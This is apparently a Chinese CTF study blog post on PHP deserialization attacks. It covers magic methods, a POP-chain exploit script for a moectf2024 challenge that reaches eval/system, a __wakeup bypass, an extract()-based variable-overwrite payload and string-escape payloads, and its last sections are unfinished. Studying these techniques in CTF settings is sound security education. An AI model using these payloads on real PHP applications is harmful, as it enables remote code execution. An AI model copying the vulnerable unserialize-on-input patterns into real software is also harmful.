介绍

反序列化是将存储的数据(通常是字符串)转换回原始数据结构的过程。在 PHP 中,序列化和反序列化常用于保存和传输数据。

关键函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$test=array('wo','shi','nailong');
$test=serialize($test);
echo($test.PHP_EOL);
print_r(unserialize($test));

/**
a:3:{i:0;s:2:"wo";i:1;s:3:"shi";i:2;s:7:"nailong";}
Array
(
[0] => wo
[1] => shi
[2] => nailong
)
**/

序列化是对类与对象的操作,不涉及其函数方法

不同成员变量可访问性

php7.1以下,反序列化不会忽略成员变量可访问性,因此在反序列化时要注意格式

  • public 无标记,长度不变
  • protected 变量名前加%00*%00,00算1个长度,总长+3
  • private 添加类名,且两个名前都添加标记%00,长度=类名+变量名+2

常用魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct()//在创建对象时调用,例:new A();
__destruct() //对象被销毁时触发,例:php脚本执行完毕

__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //执行unserialize()时,先会调用这个函数

__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

__set() //将数据写入不可访问的属性触发
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发\

POP链构造*

POP 链(Property-Oriented Programming Chain)是攻击者利用反序列化对象的过程触发恶意代码执行的一种技术手段。其核心思想是构造一系列类和对象的组合,使得在 PHP 反序列化时,代码会自动调用这些类的方法(如魔术方法),最终执行攻击者定义的恶意代码。

例题:moectf2024 ‘pop moe’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

做题时逆向正向看个人喜好

逆向思考:

  1. 目标是执行class003里evvval()函数的eval($str),而evvval在dangerous函数中得到调用

  2. 接着没有直接调用dangerous的函数了,那么我们可以注意到__set()魔术方法存在一个$this->$b($this->sec)可以指名道姓调用dangerous()

  3. __set() //将数据写入不可访问的属性触发, 这里__invoke()的$this->a->payload = $this->payl0ad;可以触发

  4. __invoke() //当尝试将对象调用为函数时触发, 这里check()的$a = $this->what;$a();可以触发

  5. 而check()是由__destruct()调用的,也就是说我们正常反序列化后就可以触发,此时pop链构造完成


正向pop链:__destruct()->check()->__invoke()->__set()->dangerous()->evvval()->eval()

exp的构造一般是直接取题目代码,去掉方法部分只保留需要的变量和类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class class000 {
public $payl0ad;
public $what;
}

class class001 {
public $payl0ad;
public $a;
}

class class002 {
public $sec;
}

class class003 {
public $mystr;
}
//保留需要的变量和类

$class000 = new class000();
$class001 = new class001();
$class002 = new class002();
$class003 = new class003();
//实例化类

$class000->payl0ad = 1;
$class000->what = $class001;

$class001->payl0ad = 'dangerous';
$class001->a = $class002;

$class002->sec = $class003;
$class003->mystr = "system('echo \$FLAG');";
//赋值

echo serialize($class000);
#echo urlencode(serialize($class000));
//输出序列化结果

//O:8:"class000":2:{s:7:"payl0ad";i:1;s:4:"what";O:8:"class001":2:{s:7:"payl0ad";s:9:"dangerous";s:1:"a";O:8:"class002":1:{s:3:"sec";O:8:"class003":1:{s:5:"mystr";s:21:"system('echo $FLAG');";}}}}
?>

wakeup绕过

PHP5 < 5.6.25

PHP7 < 7.0.10

__wakeup() //执行unserialize()时,先会调用这个函数

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行

题目中的wakeup通常会用die()函数阻止反序列化的进行,这时我们只需要修改属性个数值即可绕过

例如:将O:4:"test":1:{xxx}修改为O:4:"test":2:{xxx}

变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$pucky =$_GET['wq'];
if(isset($pucky)){
if($pucky==="二仙桥"){
extract($_POST);
if($pucky==="二仙桥"){
die("<script>window, alert('说说看, 你要去哪??');</script>");
}
unserialize($pucky);
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class popmart{
public $yuki;
public $molly;
public $dimoo;
public function __construct(){
$this->yuki='tell me where';
$this->molly='dont_tell_you';
$this->dimoo="you_can_guess";
}
public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki=$where_you_go;

if($this->molly === $this->yuki){
echo $flag;
}
}
}
?>

本题中我们的目标就是让$yuki=$where_you_go=$molly=“dont_tell_you”

并且在第一个代码块中可以看到extract(),可以修改$pucky的值绕开die()

这时我们需要在POST时候给全局变量$where_you_go赋值"dont_tell_you"

然后再赋值$pucky即可

payload:

GET:?wq=二仙桥

POST:where_you_go=dont_tell_you&pucky=O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}

字符串逃逸

原理:序列化与反序列化遇到对内容字符进行替换时,原本的字符统计的数量并不会改变,且对";}的检查过于简单

利用点:源码中存在对可控参数值内容进行替换的函数,分为增多和减少两种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#目标将密码改为123456
<?php
function filter($str){
return str_replace('yy','x',$str);
}
/**
function filter($str){
return str_replace('x','yy',$str);
}
**/
$username = "Nanian2333";
$password = "strong password";
$user = array($username,$password);

echo serialize($user);
?>

正常情况:a:2:{i:0;s:9:"Nanian2333";i:1;s:15:"strong password";}

理想:a:2:{i:0;s:9:"Nanian2333";i:1;s:6:"123456";}

关键代码";i:1;s:6:"123456";}


我们的目标就是把Nanian2333后面的";i:1;s:15:"strong password";}30位全部算入到数组array的第一个元素中去

然后拼接关键代码";i:1;s:6:"123456";}即可修改密码


  1. 字符减少情况:

当我们传入Nanian2333yyyyyyy...yy 60个y就会替换为30个x,收缩30位,使得;i:1;s:6:"123456";}逃逸出来

payload:a:2:{i:0;s:70:"Nanian2333yyyyyyyy...yy";i:1;s:15:"strong password";}" ;i:1;s:6:"123456";}

输出: a:2:{i:0;s:70:"Nanian2333xxxxxxxx...xx";i:1;s:15:"strong password";}" ;i:1;s:6:"123456";}

Nanian2333xxx..xx只占了40位,剩下30位分给了";i:1;s:15:"strong password";}

所以这一整块都被放进了第一个元素值中,然后后面的;i:1;s:6:"123456";}就被理所当然的当成了元素2的值,从而成功修改密码为123456

  1. 字符增多情况:

当我们传入``Nanian2333xxx…xx 20个x就会替换为40个y,溢出20位,使得;i:1;s:6:“123456”;}`逃逸出来

这里要手工修改username的字符数统计为70

payload:a:2:{i:0;s:70:"Nanian2333yyyyyyyy...yy";i:1;s:6:"123456";} ;i:1;s:15:"strong password";}

输出: a:2:{i:0;s:70:"Nanian2333yyyyyyyy...yy" ;i:1;s:6:"123456";} ;i:1;s:15:"strong password";}

第一部分70包住了整个Nanian2333yyyyyyyy...yy第二部分也正常进行,而最后部分则因为前面已经闭合了所以直接不管掉了


总结:

减少是将关键代码";i:1;s:6:"123456";}手工添加在payload后面,对$username的值进行修改

使其替换后能包裹住我们不想要的";i:1;s:15:"strong password";}


增多是将关键代码";i:1;s:6:"123456";}直接放入$username的值中,当$username溢出时,关键代码就变成了独立的一部分执行

";}提前结束除掉了我们不想要的";i:1;s:15:"strong password";}

未完待续

phar

phar反序列化+两道CTF例题_ctf phar-CSDN博客

php session

session.serialize_handler

指针引用